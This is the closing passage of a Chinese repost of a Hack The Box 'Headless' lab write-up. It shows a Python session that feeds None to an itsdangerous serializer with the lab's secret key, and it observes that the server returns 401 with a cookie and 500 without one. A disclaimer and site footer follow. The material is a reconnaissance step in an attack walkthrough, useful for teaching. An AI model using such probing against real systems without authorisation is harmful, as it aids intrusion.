>>> from itsdangerous import URLSafeSerializer>>> secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'>>> serializer = URLSafeSerializer(secret_key)>>> serializer.loads(None)Traceback (most recent call last):  File "<stdin>", line 1, in <module>  File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 232, in loads    return self.load_payload(signer.unsign(s))                             ^^^^^^^^^^^^^^^^  File "/usr/local/lib/python3.11/dist-packages/itsdangerous/signer.py", line 239, in unsign    if self.sep not in signed_value:       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^TypeError: argument of type 'NoneType' is not iterable

因此,如果有一个用户 cookie,则为 401,但如果没有 cookie,则为 500。

原文始发于微信公众号(Ots安全):HTB: Headless (XSS) 攻击到反弹Shell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月21日23:32:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB: Headless (XSS) 攻击到反弹Shellhttps://cn-sec.com/archives/2981082.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息